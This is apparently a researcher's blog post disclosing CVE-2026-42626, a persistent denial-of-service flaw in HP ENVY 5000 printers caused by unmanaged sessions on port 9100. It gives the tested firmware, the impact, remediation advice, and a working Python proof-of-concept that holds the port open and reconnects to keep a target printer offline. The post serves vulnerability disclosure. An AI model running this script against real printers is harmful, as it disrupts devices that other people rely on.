CVE-2026–42626: HP ENVY 5000 Printer DoS Vulnerability

Printers are essential to modern workplaces and homes, yet they are often overlooked in cybersecurity practices. The HP ENVY 5000 series, a popular line of consumer printers, contains a critical vulnerability that could render the device completely inoperable. By exploiting improper session handling and threading issues in the printer firmware, an attacker can execute a persistent Denial of Service (DoS) attack, making the printer unresponsive and requiring physical intervention to restore functionality.

Introduction

This blog post outlines the impact of a vulnerability I identified in the HP ENVY 5000 series printers. This flaw, which allows for a remote and persistent Denial of Service (DoS) attack, originates from improper management of active print sessions and threading.

I found this vulnerability by exploring IoT security flaws, but my journey quickly revealed a critical weakness in the printer’s ability to handle connections. Through analysis, testing, and controlled exploitation, I identified how a malicious actor could abuse this flaw to render the printer entirely unresponsive.

Detailed Description of Vulnerability

The vulnerability exploits the HP ENVY 5000 series printer’s improper handling of concurrent connections and lack of session timeouts. Here’s how it works:

• Improper Session Management: When a connection is established to the printer’s port (9100), the firmware fails to manage the active session properly. If a malicious actor maintains a connection to the port, the printer’s threads remain locked in a waiting state even when the cancel function is used.
• Threading Issues: The firmware does not handle threading adequately, causing the device to become unresponsive to new print jobs or user commands. This effectively locks the printer in a busy state.
• Lack of Connection Timeout: Without a mechanism to terminate idle or maliciously held connections, the vulnerability allows an attacker to hold the session, making the printer unusable indefinitely.

Here is some further information about the specific printer tested

• Model Number: 5055
• Product Number: M2U85A
• Firmware Version: VERBASPP1N003.2237A.00

Exploitation

A proof-of-concept (PoC) script demonstrates how this vulnerability can be exploited. By maintaining a persistent connection to the printer’s port, an attacker can prevent the device from processing new print jobs or responding to any user input. This forces users to manually restart the printer to regain functionality.

1. Opening a persistent connection to the printer’s port (9100).
2. Sending periodic keep-alive packets to hold the session.
3. Blocking the printer’s ability to process any new requests.

Impact

The consequences of this vulnerability are significant:

1. Denial of Service: The printer becomes unresponsive, disrupting workflows and causing operational delays.
2. Inconvenience: Users must manually restart the printer to regain functionality, which could be especially problematic in remote or high-demand settings.
3. Potential Exploitation: Malicious actors on the same network could use this flaw to disrupt operations intentionally.

Proof of Concept

Scenario: An attacker executes the PoC script against an HP ENVY 5000 series printer on the same network. The script establishes a persistent connection to the printer’s port, preventing it from processing new print jobs. The attacker does not need authentication or elevated privileges to exploit this vulnerability.

Results:

• The printer becomes unresponsive to all user commands.
• Print jobs remain queued indefinitely.
• The only recovery option is to restart the device manually, and the attacker could still use a script to keep exploiting the printer as soon as it is turned back on.

Below, you can find a POC script that will send the keep-alive packet and re-connect to continue exploitation and keep the printer offline.

import socket
import time

def persistent_connection(ip, port, reconnect_delay=2):
    """Establish a persistent connection to the specified IP and port.
    
    Args:
        ip (str): The target IP address.
        port (int): The target port number.
        reconnect_delay (int): Time to wait before attempting reconnection (in seconds).
    """
    while True:
        try:
            print(f"Attempting to connect to {ip}:{port}...")
            # Create a socket
            client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            # Attempt to connect
            client_socket.connect((ip, port))
            print(f"Connected to {ip}:{port}.")
            
            # Keep the connection alive
            while True:
                try:
                    # Send a heartbeat or keep-alive message
                    client_socket.sendall(b"KEEP_ALIVE")
                    time.sleep(2) 
                except socket.error:
                    print("Connection lost. Reconnecting...")
                    break  # Exit inner loop to attempt reconnection
        except (socket.error, KeyboardInterrupt) as e:
            if isinstance(e, KeyboardInterrupt):
                print("Interrupted by user. Exiting...")
                break
            print(f"Failed to connect or connection error: {e}. Retrying in {reconnect_delay} seconds...")
            time.sleep(reconnect_delay)

if __name__ == "__main__":
    # Replace with the target IP and port
    target_ip = input("Enter IP Address:")  # Example IP
    target_port = 9100      # Example port
    
    # Start the persistent connection
    persistent_connection(target_ip, target_port)

Possible Remediation

To address this vulnerability, HP should implement the following measures:

1. Concurrent Connection Limitation: Restrict connections from the same IP address or session to a single instance to prevent resource exhaustion.
2. Rate Limiting: Introduce rate limiting to restrict the frequency of connection attempts within a given time frame.
3. Session Timeout: Implement a timeout mechanism for idle or incomplete connections to ensure resources are freed.

Reach Out

Got any questions? I’d be happy to discuss this further! 👋

• Email: contactjacobmasse@gmail.com